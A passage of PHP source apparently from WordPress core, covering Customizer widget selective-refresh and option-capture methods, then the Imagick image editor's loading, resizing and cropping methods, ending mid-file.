		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return;
		}
		add_filter( 'dynamic_sidebar_params', array( $this, 'filter_dynamic_sidebar_params' ) );
		add_filter( 'wp_kses_allowed_html', array( $this, 'filter_wp_kses_allowed_data_attributes' ) );
		add_action( 'dynamic_sidebar_before', array( $this, 'start_dynamic_sidebar' ) );
		add_action( 'dynamic_sidebar_after', array( $this, 'end_dynamic_sidebar' ) );
	}

	/**
	 * Inject selective refresh data attributes into widget container elements.
	 *
	 * @since 4.5.0
	 *
	 * @param array $params {
	 *     Dynamic sidebar params.
	 *
	 *     @type array $args        Sidebar args.
	 *     @type array $widget_args Widget args.
	 * }
	 * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args()
	 *
	 * @return array Params.
	 */
	public function filter_dynamic_sidebar_params( $params ) {
		$sidebar_args = array_merge(
			array(
				'before_widget' => '',
				'after_widget'  => '',
			),
			$params[0]
		);

		// Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to.
		$matches  = array();
		$is_valid = (
			isset( $sidebar_args['id'] )
			&&
			is_registered_sidebar( $sidebar_args['id'] )
			&&
			( isset( $this->current_dynamic_sidebar_id_stack[0] ) && $this->current_dynamic_sidebar_id_stack[0] === $sidebar_args['id'] )
			&&
			preg_match( '#^<(?P<tag_name>\w+)#', $sidebar_args['before_widget'], $matches )
		);
		if ( ! $is_valid ) {
			return $params;
		}
		$this->before_widget_tags_seen[ $matches['tag_name'] ] = true;

		$context = array(
			'sidebar_id' => $sidebar_args['id'],
		);
		if ( isset( $this->context_sidebar_instance_number ) ) {
			$context['sidebar_instance_number'] = $this->context_sidebar_instance_number;
		} elseif ( isset( $sidebar_args['id'] ) && isset( $this->sidebar_instance_count[ $sidebar_args['id'] ] ) ) {
			$context['sidebar_instance_number'] = $this->sidebar_instance_count[ $sidebar_args['id'] ];
		}

		$attributes                    = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'widget[' . $sidebar_args['widget_id'] . ']' ) );
		$attributes                   .= ' data-customize-partial-type="widget"';
		$attributes                   .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $context ) ) );
		$attributes                   .= sprintf( ' data-customize-widget-id="%s"', esc_attr( $sidebar_args['widget_id'] ) );
		$sidebar_args['before_widget'] = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $sidebar_args['before_widget'] );

		$params[0] = $sidebar_args;
		return $params;
	}

	/**
	 * List of the tag names seen for before_widget strings.
	 *
	 * This is used in the {@see 'filter_wp_kses_allowed_html'} filter to ensure that the
	 * data-* attributes can be allowed.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $before_widget_tags_seen = array();

	/**
	 * Ensures the HTML data-* attributes for selective refresh are allowed by kses.
	 *
	 * This is needed in case the `$before_widget` is run through wp_kses() when printed.
	 *
	 * @since 4.5.0
	 *
	 * @param array $allowed_html Allowed HTML.
	 * @return array (Maybe) modified allowed HTML.
	 */
	public function filter_wp_kses_allowed_data_attributes( $allowed_html ) {
		foreach ( array_keys( $this->before_widget_tags_seen ) as $tag_name ) {
			if ( ! isset( $allowed_html[ $tag_name ] ) ) {
				$allowed_html[ $tag_name ] = array();
			}
			$allowed_html[ $tag_name ] = array_merge(
				$allowed_html[ $tag_name ],
				array_fill_keys(
					array(
						'data-customize-partial-id',
						'data-customize-partial-type',
						'data-customize-partial-placement-context',
						'data-customize-partial-widget-id',
						'data-customize-partial-options',
					),
					true
				)
			);
		}
		return $allowed_html;
	}

	/**
	 * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index.
	 *
	 * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $sidebar_instance_count = array();

	/**
	 * The current request's sidebar_instance_number context.
	 *
	 * @since 4.5.0
	 * @var int|null
	 */
	protected $context_sidebar_instance_number;

	/**
	 * Current sidebar ID being rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $current_dynamic_sidebar_id_stack = array();

	/**
	 * Begins keeping track of the current sidebar being rendered.
	 *
	 * Insert marker before widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function start_dynamic_sidebar( $index ) {
		array_unshift( $this->current_dynamic_sidebar_id_stack, $index );
		if ( ! isset( $this->sidebar_instance_count[ $index ] ) ) {
			$this->sidebar_instance_count[ $index ] = 0;
		}
		$this->sidebar_instance_count[ $index ] += 1;
		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
			printf( "\n<!--dynamic_sidebar_before:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Finishes keeping track of the current sidebar being rendered.
	 *
	 * Inserts a marker after widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function end_dynamic_sidebar( $index ) {
		array_shift( $this->current_dynamic_sidebar_id_stack );
		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
			printf( "\n<!--dynamic_sidebar_after:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Current sidebar being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_widget_id;

	/**
	 * Current widget being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_sidebar_id;

	/**
	 * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param array $sidebars_widgets Sidebars widgets.
	 * @return array Filtered sidebars widgets.
	 */
	public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) {
		$sidebars_widgets[ $this->rendering_sidebar_id ] = array( $this->rendering_widget_id );
		return $sidebars_widgets;
	}

	/**
	 * Renders a specific widget using the supplied sidebar arguments.
	 *
	 * @since 4.5.0
	 *
	 * @see dynamic_sidebar()
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context {
	 *     Sidebar args supplied as container context.
	 *
	 *     @type string $sidebar_id              ID for sidebar for widget to render into.
	 *     @type int    $sidebar_instance_number Disambiguating instance number.
	 * }
	 * @return string|false
	 */
	public function render_widget_partial( $partial, $context ) {
		$id_data   = $partial->id_data();
		$widget_id = array_shift( $id_data['keys'] );

		if ( ! is_array( $context )
			|| empty( $context['sidebar_id'] )
			|| ! is_registered_sidebar( $context['sidebar_id'] )
		) {
			return false;
		}

		$this->rendering_sidebar_id = $context['sidebar_id'];

		if ( isset( $context['sidebar_instance_number'] ) ) {
			$this->context_sidebar_instance_number = (int) $context['sidebar_instance_number'];
		}

		// Filter sidebars_widgets so that only the queried widget is in the sidebar.
		$this->rendering_widget_id = $widget_id;

		$filter_callback = array( $this, 'filter_sidebars_widgets_for_rendering_widget' );
		add_filter( 'sidebars_widgets', $filter_callback, 1000 );

		// Render the widget.
		ob_start();
		$this->rendering_sidebar_id = $context['sidebar_id'];
		dynamic_sidebar( $this->rendering_sidebar_id );
		$container = ob_get_clean();

		// Reset variables for next partial render.
		remove_filter( 'sidebars_widgets', $filter_callback, 1000 );

		$this->context_sidebar_instance_number = null;
		$this->rendering_sidebar_id            = null;
		$this->rendering_widget_id             = null;

		return $container;
	}

	//
	// Option Update Capturing.
	//

	/**
	 * List of captured widget option updates.
	 *
	 * @since 3.9.0
	 * @var array $_captured_options Values updated while option capture is happening.
	 */
	protected $_captured_options = array();

	/**
	 * Whether option capture is currently happening.
	 *
	 * @since 3.9.0
	 * @var bool $_is_current Whether option capture is currently happening or not.
	 */
	protected $_is_capturing_option_updates = false;

	/**
	 * Determines whether the captured option update should be ignored.
	 *
	 * @since 3.9.0
	 *
	 * @param string $option_name Option name.
	 * @return bool Whether the option capture is ignored.
	 */
	protected function is_option_capture_ignored( $option_name ) {
		return ( str_starts_with( $option_name, '_transient_' ) );
	}

	/**
	 * Retrieves captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return array Array of captured options.
	 */
	protected function get_captured_options() {
		return $this->_captured_options;
	}

	/**
	 * Retrieves the option that was captured from being saved.
	 *
	 * @since 4.2.0
	 *
	 * @param string $option_name   Option name.
	 * @param mixed  $default_value Optional. Default value to return if the option does not exist. Default false.
	 * @return mixed Value set for the option.
	 */
	protected function get_captured_option( $option_name, $default_value = false ) {
		if ( array_key_exists( $option_name, $this->_captured_options ) ) {
			$value = $this->_captured_options[ $option_name ];
		} else {
			$value = $default_value;
		}
		return $value;
	}

	/**
	 * Retrieves the number of captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return int Number of updated options.
	 */
	protected function count_captured_options() {
		return count( $this->_captured_options );
	}

	/**
	 * Begins keeping track of changes to widget options, caching new values.
	 *
	 * @since 3.9.0
	 */
	protected function start_capturing_option_updates() {
		if ( $this->_is_capturing_option_updates ) {
			return;
		}

		$this->_is_capturing_option_updates = true;

		add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 );
	}

	/**
	 * Pre-filters captured option values before updating.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $new_value   The new option value.
	 * @param string $option_name Name of the option.
	 * @param mixed  $old_value   The old option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) {
		if ( $this->is_option_capture_ignored( $option_name ) ) {
			return $new_value;
		}

		if ( ! isset( $this->_captured_options[ $option_name ] ) ) {
			add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
		}

		$this->_captured_options[ $option_name ] = $new_value;

		return $old_value;
	}

	/**
	 * Pre-filters captured option values before retrieving.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed $value Value to return instead of the option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_get_option( $value ) {
		$option_name = preg_replace( '/^pre_option_/', '', current_filter() );

		if ( isset( $this->_captured_options[ $option_name ] ) ) {
			$value = $this->_captured_options[ $option_name ];

			/** This filter is documented in wp-includes/option.php */
			$value = apply_filters( 'option_' . $option_name, $value, $option_name );
		}

		return $value;
	}

	/**
	 * Undoes any changes to the options since options capture began.
	 *
	 * @since 3.9.0
	 */
	protected function stop_capturing_option_updates() {
		if ( ! $this->_is_capturing_option_updates ) {
			return;
		}

		remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10 );

		foreach ( array_keys( $this->_captured_options ) as $option_name ) {
			remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
		}

		$this->_captured_options            = array();
		$this->_is_capturing_option_updates = false;
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function setup_widget_addition_previews() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function prepreview_added_sidebars_widgets() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function prepreview_added_widget_instance() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see 'customize_dynamic_setting_args'} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
	 */
	public function remove_prepreview_filters() {
		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
	}
}
<?php
/**
 * WordPress Imagick Image Editor
 *
 * @package WordPress
 * @subpackage Image_Editor
 */

/**
 * WordPress Image Editor Class for Image Manipulation through Imagick PHP Module
 *
 * @since 3.5.0
 *
 * @see WP_Image_Editor
 */
class WP_Image_Editor_Imagick extends WP_Image_Editor {
	/**
	 * Imagick object.
	 *
	 * @var Imagick
	 */
	protected $image;

	public function __destruct() {
		if ( $this->image instanceof Imagick ) {
			// We don't need the original in memory anymore.
			$this->image->clear();
			$this->image->destroy();
		}
	}

	/**
	 * Checks to see if current environment supports Imagick.
	 *
	 * We require Imagick 2.2.0 or greater, based on whether the queryFormats()
	 * method can be called statically.
	 *
	 * @since 3.5.0
	 *
	 * @param array $args
	 * @return bool
	 */
	public static function test( $args = array() ) {

		// First, test Imagick's extension and classes.
		if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) ) {
			return false;
		}

		if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) ) {
			return false;
		}

		$required_methods = array(
			'clear',
			'destroy',
			'valid',
			'getimage',
			'writeimage',
			'getimageblob',
			'getimagegeometry',
			'getimageformat',
			'setimageformat',
			'setimagecompression',
			'setimagecompressionquality',
			'setimagepage',
			'setoption',
			'scaleimage',
			'cropimage',
			'rotateimage',
			'flipimage',
			'flopimage',
			'readimage',
			'readimageblob',
		);

		// Now, test for deep requirements within Imagick.
		if ( ! defined( 'imagick::COMPRESSION_JPEG' ) ) {
			return false;
		}

		$class_methods = array_map( 'strtolower', get_class_methods( 'Imagick' ) );
		if ( array_diff( $required_methods, $class_methods ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks to see if editor supports the mime-type specified.
	 *
	 * @since 3.5.0
	 *
	 * @param string $mime_type
	 * @return bool
	 */
	public static function supports_mime_type( $mime_type ) {
		$imagick_extension = strtoupper( self::get_extension( $mime_type ) );

		if ( ! $imagick_extension ) {
			return false;
		}

		/*
		 * setIteratorIndex is optional unless mime is an animated format.
		 * Here, we just say no if you are missing it and aren't loading a jpeg.
		 */
		if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && 'image/jpeg' !== $mime_type ) {
				return false;
		}

		try {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			return ( (bool) @Imagick::queryFormats( $imagick_extension ) );
		} catch ( Exception $e ) {
			return false;
		}
	}

	/**
	 * Loads image from $this->file into new Imagick Object.
	 *
	 * @since 3.5.0
	 *
	 * @return true|WP_Error True if loaded; WP_Error on failure.
	 */
	public function load() {
		if ( $this->image instanceof Imagick ) {
			return true;
		}

		if ( ! is_file( $this->file ) && ! wp_is_stream( $this->file ) ) {
			return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file );
		}

		/*
		 * Even though Imagick uses less PHP memory than GD, set higher limit
		 * for users that have low PHP.ini limits.
		 */
		wp_raise_memory_limit( 'image' );

		try {
			$this->image    = new Imagick();
			$file_extension = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) );

			if ( 'pdf' === $file_extension ) {
				$pdf_loaded = $this->pdf_load_source();

				if ( is_wp_error( $pdf_loaded ) ) {
					return $pdf_loaded;
				}
			} else {
				if ( wp_is_stream( $this->file ) ) {
					// Due to reports of issues with streams with `Imagick::readImageFile()`, uses `Imagick::readImageBlob()` instead.
					$this->image->readImageBlob( file_get_contents( $this->file ), $this->file );
				} else {
					$this->image->readImage( $this->file );
				}
			}

			if ( ! $this->image->valid() ) {
				return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file );
			}

			// Select the first frame to handle animated images properly.
			if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) ) {
				$this->image->setIteratorIndex( 0 );
			}

			if ( 'pdf' === $file_extension ) {
				$this->remove_pdf_alpha_channel();
			}

			$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
		} catch ( Exception $e ) {
			return new WP_Error( 'invalid_image', $e->getMessage(), $this->file );
		}

		$updated_size = $this->update_size();

		if ( is_wp_error( $updated_size ) ) {
			return $updated_size;
		}

		return $this->set_quality();
	}

	/**
	 * Sets Image Compression quality on a 1-100% scale.
	 *
	 * @since 3.5.0
	 *
	 * @param int $quality Compression Quality. Range: [1,100]
	 * @return true|WP_Error True if set successfully; WP_Error on failure.
	 */
	public function set_quality( $quality = null ) {
		$quality_result = parent::set_quality( $quality );
		if ( is_wp_error( $quality_result ) ) {
			return $quality_result;
		} else {
			$quality = $this->get_quality();
		}

		try {
			switch ( $this->mime_type ) {
				case 'image/jpeg':
					$this->image->setImageCompressionQuality( $quality );
					$this->image->setImageCompression( imagick::COMPRESSION_JPEG );
					break;
				case 'image/webp':
					$webp_info = wp_get_webp_info( $this->file );

					if ( 'lossless' === $webp_info['type'] ) {
						// Use WebP lossless settings.
						$this->image->setImageCompressionQuality( 100 );
						$this->image->setOption( 'webp:lossless', 'true' );
					} else {
						$this->image->setImageCompressionQuality( $quality );
					}
					break;
				case 'image/avif':
				default:
					$this->image->setImageCompressionQuality( $quality );
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_quality_error', $e->getMessage() );
		}
		return true;
	}


	/**
	 * Sets or updates current image size.
	 *
	 * @since 3.5.0
	 *
	 * @param int $width
	 * @param int $height
	 * @return true|WP_Error
	 */
	protected function update_size( $width = null, $height = null ) {
		$size = null;
		if ( ! $width || ! $height ) {
			try {
				$size = $this->image->getImageGeometry();
			} catch ( Exception $e ) {
				return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file );
			}
		}

		if ( ! $width ) {
			$width = $size['width'];
		}

		if ( ! $height ) {
			$height = $size['height'];
		}

		/*
		 * If we still don't have the image size, fall back to `wp_getimagesize`. This ensures AVIF images
		 * are properly sized without affecting previous `getImageGeometry` behavior.
		 */
		if ( ( ! $width || ! $height ) && 'image/avif' === $this->mime_type ) {
			$size   = wp_getimagesize( $this->file );
			$width  = $size[0];
			$height = $size[1];
		}

		return parent::update_size( $width, $height );
	}

	/**
	 * Sets Imagick time limit.
	 *
	 * Depending on configuration, Imagick processing may take time.
	 *
	 * Multiple problems exist if PHP times out before ImageMagick completed:
	 * 1. Temporary files aren't cleaned by ImageMagick garbage collection.
	 * 2. No clear error is provided.
	 * 3. The cause of such timeout can be hard to pinpoint.
	 *
	 * This function, which is expected to be run before heavy image routines, resolves
	 * point 1 above by aligning Imagick's timeout with PHP's timeout, assuming it is set.
	 *
	 * However seems it introduces more problems than it fixes,
	 * see https://core.trac.wordpress.org/ticket/58202.
	 *
	 * Note:
	 *  - Imagick resource exhaustion does not issue catchable exceptions (yet).
	 *    See https://github.com/Imagick/imagick/issues/333.
	 *  - The resource limit is not saved/restored. It applies to subsequent
	 *    image operations within the time of the HTTP request.
	 *
	 * @since 6.2.0
	 * @since 6.3.0 This method was deprecated.
	 *
	 * @return int|null The new limit on success, null on failure.
	 */
	public static function set_imagick_time_limit() {
		_deprecated_function( __METHOD__, '6.3.0' );

		if ( ! defined( 'Imagick::RESOURCETYPE_TIME' ) ) {
			return null;
		}

		// Returns PHP_FLOAT_MAX if unset.
		$imagick_timeout = Imagick::getResourceLimit( Imagick::RESOURCETYPE_TIME );

		// Convert to an integer, keeping in mind that: 0 === (int) PHP_FLOAT_MAX.
		$imagick_timeout = $imagick_timeout > PHP_INT_MAX ? PHP_INT_MAX : (int) $imagick_timeout;

		$php_timeout = (int) ini_get( 'max_execution_time' );

		if ( $php_timeout > 1 && $php_timeout < $imagick_timeout ) {
			$limit = (float) 0.8 * $php_timeout;
			Imagick::setResourceLimit( Imagick::RESOURCETYPE_TIME, $limit );

			return $limit;
		}
	}

	/**
	 * Resizes current image.
	 *
	 * At minimum, either a height or width must be provided.
	 * If one of the two is set to null, the resize will
	 * maintain aspect ratio according to the provided dimension.
	 *
	 * @since 3.5.0
	 *
	 * @param int|null   $max_w Image width.
	 * @param int|null   $max_h Image height.
	 * @param bool|array $crop  {
	 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
	 *     If true, image will be cropped to the specified dimensions using center positions.
	 *     If an array, the image will be cropped using the array to specify the crop location:
	 *
	 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
	 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
	 * }
	 * @return true|WP_Error
	 */
	public function resize( $max_w, $max_h, $crop = false ) {
		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) {
			return true;
		}

		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );
		if ( ! $dims ) {
			return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ) );
		}

		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;

		if ( $crop ) {
			return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h );
		}

		// Execute the resize.
		$thumb_result = $this->thumbnail_image( $dst_w, $dst_h );
		if ( is_wp_error( $thumb_result ) ) {
			return $thumb_result;
		}

		return $this->update_size( $dst_w, $dst_h );
	}

	/**
	 * Efficiently resize the current image
	 *
	 * This is a WordPress specific implementation of Imagick::thumbnailImage(),
	 * which resizes an image to given dimensions and removes any associated profiles.
	 *
	 * @since 4.5.0
	 *
	 * @param int    $dst_w       The destination width.
	 * @param int    $dst_h       The destination height.
	 * @param string $filter_name Optional. The Imagick filter to use when resizing. Default 'FILTER_TRIANGLE'.
	 * @param bool   $strip_meta  Optional. Strip all profiles, excluding color profiles, from the image. Default true.
	 * @return void|WP_Error
	 */
	protected function thumbnail_image( $dst_w, $dst_h, $filter_name = 'FILTER_TRIANGLE', $strip_meta = true ) {
		$allowed_filters = array(
			'FILTER_POINT',
			'FILTER_BOX',
			'FILTER_TRIANGLE',
			'FILTER_HERMITE',
			'FILTER_HANNING',
			'FILTER_HAMMING',
			'FILTER_BLACKMAN',
			'FILTER_GAUSSIAN',
			'FILTER_QUADRATIC',
			'FILTER_CUBIC',
			'FILTER_CATROM',
			'FILTER_MITCHELL',
			'FILTER_LANCZOS',
			'FILTER_BESSEL',
			'FILTER_SINC',
		);

		/**
		 * Set the filter value if '$filter_name' name is in the allowed list and the related
		 * Imagick constant is defined or fall back to the default filter.
		 */
		if ( in_array( $filter_name, $allowed_filters, true ) && defined( 'Imagick::' . $filter_name ) ) {
			$filter = constant( 'Imagick::' . $filter_name );
		} else {
			$filter = defined( 'Imagick::FILTER_TRIANGLE' ) ? Imagick::FILTER_TRIANGLE : false;
		}

		/**
		 * Filters whether to strip metadata from images when they're resized.
		 *
		 * This filter only applies when resizing using the Imagick editor since GD
		 * always strips profiles by default.
		 *
		 * @since 4.5.0
		 *
		 * @param bool $strip_meta Whether to strip image metadata during resizing. Default true.
		 */
		if ( apply_filters( 'image_strip_meta', $strip_meta ) ) {
			$this->strip_meta(); // Fail silently if not supported.
		}

		try {
			/*
			 * To be more efficient, resample large images to 5x the destination size before resizing
			 * whenever the output size is less that 1/3 of the original image size (1/3^2 ~= .111),
			 * unless we would be resampling to a scale smaller than 128x128.
			 */
			if ( is_callable( array( $this->image, 'sampleImage' ) ) ) {
				$resize_ratio  = ( $dst_w / $this->size['width'] ) * ( $dst_h / $this->size['height'] );
				$sample_factor = 5;

				if ( $resize_ratio < .111 && ( $dst_w * $sample_factor > 128 && $dst_h * $sample_factor > 128 ) ) {
					$this->image->sampleImage( $dst_w * $sample_factor, $dst_h * $sample_factor );
				}
			}

			/*
			 * Use resizeImage() when it's available and a valid filter value is set.
			 * Otherwise, fall back to the scaleImage() method for resizing, which
			 * results in better image quality over resizeImage() with default filter
			 * settings and retains backward compatibility with pre 4.5 functionality.
			 */
			if ( is_callable( array( $this->image, 'resizeImage' ) ) && $filter ) {
				$this->image->setOption( 'filter:support', '2.0' );
				$this->image->resizeImage( $dst_w, $dst_h, $filter, 1 );
			} else {
				$this->image->scaleImage( $dst_w, $dst_h );
			}

			// Set appropriate quality settings after resizing.
			if ( 'image/jpeg' === $this->mime_type ) {
				if ( is_callable( array( $this->image, 'unsharpMaskImage' ) ) ) {
					$this->image->unsharpMaskImage( 0.25, 0.25, 8, 0.065 );
				}

				$this->image->setOption( 'jpeg:fancy-upsampling', 'off' );
			}

			if ( 'image/png' === $this->mime_type ) {
				$this->image->setOption( 'png:compression-filter', '5' );
				$this->image->setOption( 'png:compression-level', '9' );
				$this->image->setOption( 'png:compression-strategy', '1' );
				$this->image->setOption( 'png:exclude-chunk', 'all' );
			}

			/*
			 * If alpha channel is not defined, set it opaque.
			 *
			 * Note that Imagick::getImageAlphaChannel() is only available if Imagick
			 * has been compiled against ImageMagick version 6.4.0 or newer.
			 */
			if ( is_callable( array( $this->image, 'getImageAlphaChannel' ) )
				&& is_callable( array( $this->image, 'setImageAlphaChannel' ) )
				&& defined( 'Imagick::ALPHACHANNEL_UNDEFINED' )
				&& defined( 'Imagick::ALPHACHANNEL_OPAQUE' )
			) {
				if ( $this->image->getImageAlphaChannel() === Imagick::ALPHACHANNEL_UNDEFINED ) {
					$this->image->setImageAlphaChannel( Imagick::ALPHACHANNEL_OPAQUE );
				}
			}

			// Limit the bit depth of resized images to 8 bits per channel.
			if ( is_callable( array( $this->image, 'getImageDepth' ) ) && is_callable( array( $this->image, 'setImageDepth' ) ) ) {
				if ( 8 < $this->image->getImageDepth() ) {
					$this->image->setImageDepth( 8 );
				}
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_resize_error', $e->getMessage() );
		}
	}

	/**
	 * Create multiple smaller images from a single source.
	 *
	 * Attempts to create all sub-sizes and returns the meta data at the end. This
	 * may result in the server running out of resources. When it fails there may be few
	 * "orphaned" images left over as the meta data is never returned and saved.
	 *
	 * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates
	 * the new images one at a time and allows for the meta data to be saved after
	 * each new image is created.
	 *
	 * @since 3.5.0
	 *
	 * @param array $sizes {
	 *     An array of image size data arrays.
	 *
	 *     Either a height or width must be provided.
	 *     If one of the two is set to null, the resize will
	 *     maintain aspect ratio according to the provided dimension.
	 *
	 *     @type array ...$0 {
	 *         Array of height, width values, and whether to crop.
	 *
	 *         @type int        $width  Image width. Optional if `$height` is specified.
	 *         @type int        $height Image height. Optional if `$width` is specified.
	 *         @type bool|array $crop   Optional. Whether to crop the image. Default false.
	 *     }
	 * }
	 * @return array An array of resized images' metadata by size.
	 */
	public function multi_resize( $sizes ) {
		$metadata = array();

		foreach ( $sizes as $size => $size_data ) {
			$meta = $this->make_subsize( $size_data );

			if ( ! is_wp_error( $meta ) ) {
				$metadata[ $size ] = $meta;
			}
		}

		return $metadata;
	}

	/**
	 * Create an image sub-size and return the image meta data value for it.
	 *
	 * @since 5.3.0
	 *
	 * @param array $size_data {
	 *     Array of size data.
	 *
	 *     @type int        $width  The maximum width in pixels.
	 *     @type int        $height The maximum height in pixels.
	 *     @type bool|array $crop   Whether to crop the image to exact dimensions.
	 * }
	 * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta,
	 *                        WP_Error object on error.
	 */
	public function make_subsize( $size_data ) {
		if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
			return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) );
		}

		$orig_size  = $this->size;
		$orig_image = $this->image->getImage();

		if ( ! isset( $size_data['width'] ) ) {
			$size_data['width'] = null;
		}

		if ( ! isset( $size_data['height'] ) ) {
			$size_data['height'] = null;
		}

		if ( ! isset( $size_data['crop'] ) ) {
			$size_data['crop'] = false;
		}

		if ( ( $this->size['width'] === $size_data['width'] ) && ( $this->size['height'] === $size_data['height'] ) ) {
			return new WP_Error( 'image_subsize_create_error', __( 'The image already has the requested size.' ) );
		}

		$resized = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] );

		if ( is_wp_error( $resized ) ) {
			$saved = $resized;
		} else {
			$saved = $this->_save( $this->image );

			$this->image->clear();
			$this->image->destroy();
			$this->image = null;
		}

		$this->size  = $orig_size;
		$this->image = $orig_image;

		if ( ! is_wp_error( $saved ) ) {
			unset( $saved['path'] );
		}

		return $saved;
	}

	/**
	 * Crops Image.
	 *
	 * @since 3.5.0
	 *
	 * @param int  $src_x   The start x position to crop from.
	 * @param int  $src_y   The start y position to crop from.
	 * @param int  $src_w   The width to crop.
	 * @param int  $src_h   The height to crop.
	 * @param int  $dst_w   Optional. The destination width.
	 * @param int  $dst_h   Optional. The destination height.
	 * @param bool $src_abs Optional. If the source crop points are absolute.
	 * @return true|WP_Error
	 */
	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
		if ( $src_abs ) {
			$src_w -= $src_x;
			$src_h -= $src_y;
		}

		try {
			$this->image->cropImage( $src_w, $src_h, $src_x, $src_y );
			$this->image->setImagePage( $src_w, $src_h, 0, 0 );

			if ( $dst_w || $dst_h ) {
				/*
				 * If destination width/height isn't specified,
				 * use same as width/height from source.
				 */
				if ( ! $dst_w ) {
					$dst_w = $src_w;
				}
				if ( ! $dst_h ) {
					$dst_h = $src_h;
				}

				$thumb_result = $this->thumbnail_image( $dst_w, $dst_h );
				if ( is_wp_error( $thumb_result ) ) {
					return $thumb_result;
				}

				return $this->update_size();
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_crop_error', $e->getMessage() );
		}

		return $this->update_size();
	}

	/**
	 * Rotates current image counter-clockwise by $angle.
	 *
	 * @since 3.5.0
	 *
	 * @param float $angle
	 * @return true|WP_Error
	 */
	public function rotate( $angle ) {
		/**
